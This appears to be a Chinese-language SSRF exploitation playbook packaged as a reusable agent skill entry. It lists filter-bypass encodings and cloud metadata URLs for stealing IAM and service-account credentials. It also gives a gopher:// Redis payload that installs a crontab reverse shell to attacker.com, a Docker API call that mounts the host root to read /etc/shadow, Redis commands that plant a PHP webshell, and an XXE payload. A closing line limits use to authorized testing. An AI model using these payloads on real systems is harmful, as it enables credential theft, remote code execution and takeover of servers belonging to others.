后端与接口
当服务器会抓取 URL、解析主机名或导入远程内容时,用…
适用于存在服务端 URL 获取入口的 SSRF 漏洞确认、过滤绕过与深入利用。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
当服务器会抓取 URL、解析主机名或导入通用
解决思路
- 需要扩展场景时加载 SCENARIOS.md:WebLogic SSRF(CVE-2014-4210)使用 `uddiexplorer/SearchPublicRegistries.jsp` + `operator` 参数 + `%0D%0A` CRLF 注入 Redis 命令。
- 需要扩展场景时加载 SCENARIOS.md:获取 SSRF → 内部 Redis → 写 crontab 反弹 shell 的完整 payload 链。
- 需要扩展场景时加载 SCENARIOS.md:DNS Rebinding 深入,包括 TTL=0 技巧、首次合法解析→第二次内部解析、`rbndr.us` 服务。
- 需要扩展场景时加载 SCENARIOS.md:Kubernetes SSRF(CVE-2020-8555)及通过 DNS rebinding 的绕过(CVE-2020-8562)。
- 需要扩展场景时加载 SCENARIOS.md:通过 PDF/截图生成器 SSRF,在 HTML-to-PDF 中使用 `<iframe>` 和 `<img>`。
- 需要扩展场景时加载 SCENARIOS.md:Gopher 协议完整 TCP 注入,通过 Gopherus 构造 Redis、MySQL、FastCGI payload。
- 需要扩展场景时加载 SCENARIOS.md:URL 解析器混淆绕过过滤器,包括 `#@`、`\@`、`%00@`、IPv6-mapped IPv4。
- 需要高级参考时加载 URL_PARSER_TRICKS.md:URL 解析器差异表(Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url)。
- 需要高级参考时加载 URL_PARSER_TRICKS.md:完整云元数据端点目录(AWS IMDSv1/v2、GCP、Azure、DigitalOcean、Alibaba Cloud、Oracle Cloud、Kubernetes、Hetzner、OpenStack)。
- 需要高级参考时加载 URL_PARSER_TRICKS.md:gopher:// payload 配方(Redis、MySQL、SMTP、FastCGI、Memcached)及编码规则。
- 需要高级参考时加载 URL_PARSER_TRICKS.md:DNS Rebinding 详细攻击流程(TTL 操纵和 TOCTOU 分析)。
- 需要高级参考时加载 URL_PARSER_TRICKS.md:PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS SSRF 模式与外带技术。
- 找到获取 URL 的参数后,先执行第一轮确认。
- 第一轮 payload:`http://127.0.0.1/`、`http://localhost/`、`http://169.254.169.254/latest/meta-data/`、`http://[::1]/`、`http://127.1/`。
- 按主机校验类型绕过:若阻止 `localhost` 字符串,尝试 `127.0.0.1`、`127.1`、`[::1]`。
- 按主机校验类型绕过:若只阻止直接 IP,尝试内部 DNS 名、十进制/八进制/十六进制 IP 形式。
- 按主机校验类型绕过:若按前缀 allowlist,尝试用户名部分、子域混淆、重定向链。
- 按主机校验类型绕过:若跟随重定向,使用良性外部 URL 重定向到内部目标。
- 按主机校验类型绕过:若解析一次、获取两次,使用混合编码或 DNS rebinding 风格目标。
- 协议路由:云凭据目标使用元数据 HTTP 端点。
- 协议路由:内部 HTTP admin 目标使用 `http://127.0.0.1:port/`。
- 协议路由:Redis/原始 TCP 滥用目标使用 `gopher://`。
- 协议路由:本地文件读取候选目标使用 `file://`。
- 协议路由:字典/banner 测试目标使用 `dict://`。
- 查找任何包含 DNS 名、IP 地址或 URL 的参数:`loc=`、`url=`、`path=`、`endpoint=`、`imageUrl=`、`dest=`、`redirect=`、`uri=`、`callback=`、`load=`、`file=`、`resource=`、`link=`、`src=`、`data=`、`ref=`。
- 测试不明显 SSRF 向量:PDF/截图生成(URL 捕获)。
- 测试不明显 SSRF 向量:Webhook 配置字段。
- 测试不明显 SSRF 向量:通过 URL 导入/导出(CSV 导入、RSS/Atom feed)。
- 测试不明显 SSRF 向量:OAuth redirect URI(有时触发服务端获取)。
- 测试不明显 SSRF 向量:代理链中的 `X-Forwarded-Host` / `X-Real-IP` 头。
- 测试不明显 SSRF 向量:XML `DOCTYPE` 外部实体(`file://`、`http://`)。
- 测试不明显 SSRF 向量:GraphQL `@link` 指令(federation)。
- 测试不明显 SSRF 向量:Content-Type: `text/html` 页面解析 `<link>` preload 头。
- 基础确认 Step 1:提供 Burp Collaborator / interact.sh URL,检查服务器发起出站连接(完整 SSRF 确认)。
- 基础确认 Step 2:若无回调,进行时间型测试(开放端口快、关闭端口慢/reset):比较 `http://192.168.1.1:22`(可能开放→快)与 `http://192.168.1.1:9999`(可能关闭→慢/超时)的响应时间。
- 基础确认 Step 3:尝试访问 localhost 服务:`http://127.0.0.1:8080`、`http://127.0.0.1:22`、`http://127.0.0.1:6379`(Redis)、`http://127.0.0.1:9200`(Elasticsearch)、`http://127.0.0.1:5984`(CouchDB)、`http://127.0.0.1:2375`(Docker daemon,关键!)、`http://127.0.0.1:4840`(内部 admin)。
- 云元数据必试 AWS EC2 IMDSv1(无需认证,关键):`http://169.254.169.254/latest/meta-data/`、`http://169.254.169.254/latest/meta-data/iam/security-credentials/`、`http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME`、`http://169.254.169.254/latest/user-data`、`http://169.254.169.254/latest/meta-data/hostname`、`http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key`。
- 云元数据必试 AWS IMDSv2(需要 token,但检查 SSRF 能否 GET token):Step 1: PUT `http://169.254.169.254/latest/api/token`,Header: `X-aws-ec2-metadata-token-ttl-seconds: 21600`。
- AWS IMDSv2 Step 2: GET `http://169.254.169.254/latest/meta-data/`,Header: `X-aws-ec2-metadata-token: TOKEN`。
- 若 SSRF 支持自定义 header → 完整 IMDSv2 绕过。
- 云元数据必试 Google Cloud:`http://metadata.google.internal/computeMetadata/v1/`、`http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token`,Headers: `Metadata-Flavor: Google`。
- 云元数据必试 Azure:`http://169.254.169.254/metadata/instance?api-version=2021-02-01`,Headers: `Metadata: true`;`http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/`。
- 云元数据必试 Alibaba Cloud:`http://100.100.100.200/latest/meta-data/`、`http://100.100.100.200/latest/meta-data/ram/security-credentials/`。
- 云元数据必试 Kubernetes Service Account:`file:///var/run/secrets/kubernetes.io/serviceaccount/token`、`file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt`、`http://kubernetes.default.svc/api/v1/namespaces/default/secrets`。
- IP 地址过滤器绕过:当 `169.254.169.254`、`127.0.0.1`、`localhost` 被阻止时,尝试 localhost 变体:`127.0.0.1`、`127.1`、`127.0.1`、`127.000.000.001`(八进制填充)、`0x7f000001`(十六进制)、`2130706433`(十进制)、`0177.0000.0000.0001`(八进制)、`[::]`、`[::1]`、`[::ffff:127.0.0.1]`。
- IP 地址过滤器绕过:尝试 `169.254.169.254` 变体:`169.254.169.254`、`2852039166`(十进制)、`0xa9fea9fe`(十六进制)、`0251.0376.0251.0376`(八进制)、`[::ffff:169.254.169.254]`、`169.254.169.254.nip.io`(DNS rebinding 服务)。
- IP 地址过滤器绕过:测试私有网络范围:`10.0.0.0/8`、`172.16.0.0/12`、`192.168.0.0/16`、`fc00::/7`(IPv6 private)。
- IP 地址过滤器绕过:若过滤器检查 DNS 解析后的 IP(不是 hostname),设置 `http://attacker.com/` 的 DNS A 记录指向 `169.254.169.254`。
- IP 地址过滤器绕过:使用 DNS rebinding,首次查询返回合法 IP → 通过过滤器 → 第二次请求返回内部 IP。
- URL scheme 攻击:当 `http://` 被允许或弱过滤时,尝试 `file:///etc/passwd`、`file:///proc/self/environ`、`file:///proc/net/arp`(泄露内部网络 ARP 表)、`file:///proc/net/tcp`(开放的连接)。
- URL scheme 攻击:尝试 `dict://127.0.0.1:6379/INFO`(通过 dict:// 执行 Redis INFO 命令)、`gopher://127.0.0.1:6379/_INFO%0d%0a`(通过 gopher 访问 Redis)、`gopher://127.0.0.1:9200/`(Elasticsearch)。
- URL scheme 攻击:尝试 `sftp://attacker.com:11111/`(触发 SFTP 连接,凭据 hash)、`ldap://attacker.com:389/`(触发 LDAP bind)、`ftp://attacker.com/`(触发 FTP 连接)。
- Redis Gopher SSRF(完整 RCE 潜力):使用 `gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A`。
- 盲 SSRF 检测:使用 Burp Collaborator / interact.sh 检查服务器发出的 DNS + HTTP 请求。
- 盲 SSRF 检测:Pingback/webhook 滥用,将应用自身 webhook 配置为你的 URL。
- 盲 SSRF 检测:时间分析,内部开放端口与关闭端口响应时间差异。
- 盲 SSRF 检测:错误分析,`host not found` vs `connection refused` vs `timeout` 的不同错误消息揭示内部网络拓扑。
- 内部服务利用 Docker API(2375 未认证):`http://127.0.0.1:2375/v1.24/containers/json`(列容器)、`http://127.0.0.1:2375/v1.24/images/json`(列镜像)。
- 内部服务利用 Docker API:创建特权容器 → 逃逸到宿主机:`POST http://127.0.0.1:2375/v1.24/containers/create`,body `{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}`。
- 内部服务利用 Elasticsearch(9200 默认无认证):`http://127.0.0.1:9200/_cat/indices`、`http://127.0.0.1:9200/.kibana/_search`、`http://127.0.0.1:9200/INDEX_NAME/_search?q=*`。
- 内部服务利用 Redis(6379 常见无认证):`dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html`、`dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php`、`dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>`、`dict://127.0.0.1:6379/BGSAVE`。
- 内部服务利用内部管理面板:`http://127.0.0.1:8080/admin`、`http://127.0.0.1:8443/admin`、`http://127.0.0.1:9000/actuator`(Spring Boot actuator 暴露端点)、`http://127.0.0.1:9000/actuator/env`、`http://127.0.0.1:9000/actuator/heapdump`。
- SSRF + 过滤器绕过决策树:发现 SSRF 参数后,尝试直接 `http://169.254.169.254/`;若被阻止,尝试十进制/十六进制/八进制变体。
- SSRF + 过滤器绕过决策树:尝试 IPv6 变体 `[::ffff:169.254.169.254]`。
- SSRF + 过滤器绕过决策树:尝试 DNS rebinding(`nip.io`、自定义 NS)。
- SSRF + 过滤器绕过决策树:尝试重定向:`attacker.com` → `169.254.169.254`(302)。
- SSRF + 过滤器绕过决策树:尝试 `http://127.0.0.1/`;若被阻止,尝试 `127.1` / `127.0.1` / `0x7f000001` / `2130706433`。
- SSRF + 过滤器绕过决策树:尝试 `localhost`(可能未被阻止)。
- SSRF + 过滤器绕过决策树:尝试 IPv6 `[::1]`。
- SSRF + 过滤器绕过决策树:检查允许的协议;`dict://` 测试 Redis、Memcached。
- SSRF + 过滤器绕过决策树:`gopher://` 完整 TCP 数据注入(目标 Redis/SMTP)。
- SSRF + 过滤器绕过决策树:`file://` 本地文件读取。
- SSRF + 过滤器绕过决策树:`sftp://`、`ldap://`、`ftp://` 网络交互。
- SSRF + 过滤器绕过决策树:盲 SSRF → 使用 Burp Collaborator。
- SSRF + 过滤器绕过决策树:仅 DNS → 使用 DNS rebinding 或带 OOB DNS 的 SSRF。
- SSRF 过滤器思维:采用 zseano 的方法论,若开发者只直接过滤 `169.254.169.254` 而不过滤 `http://169.254.169.254/latest/meta-data`(完整路径),可尝试绕过。
- SSRF 过滤器思维:检查是否忘记 IPv6 等价形式、解析到内部 IP 的 DNS 名、重定向链(服务器跟随 302 到内部 IP)。
- SSRF 过滤器思维:经典缺口是应用过滤 `127.0.0.1` 但不过滤 `127.1`、`[::1]` 或 `localhost`。
- 当应用解析 XML 时,通过 XML 进行应用层 SSRF:`<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><request>&xxe;</request>`。
适用边界 · 注意事项
- 目标没有服务端发起请求、解析主机名、导入远程内容或类似 URL 获取入口时,不适用。
- 未获得明确授权的安全测试不适用;不要对生产系统或第三方系统使用这些攻击 payload。
- 出站网络被严格禁止且没有回显、OOB、DNS 或时间侧信道时,部分盲 SSRF 技术无法确认或利用。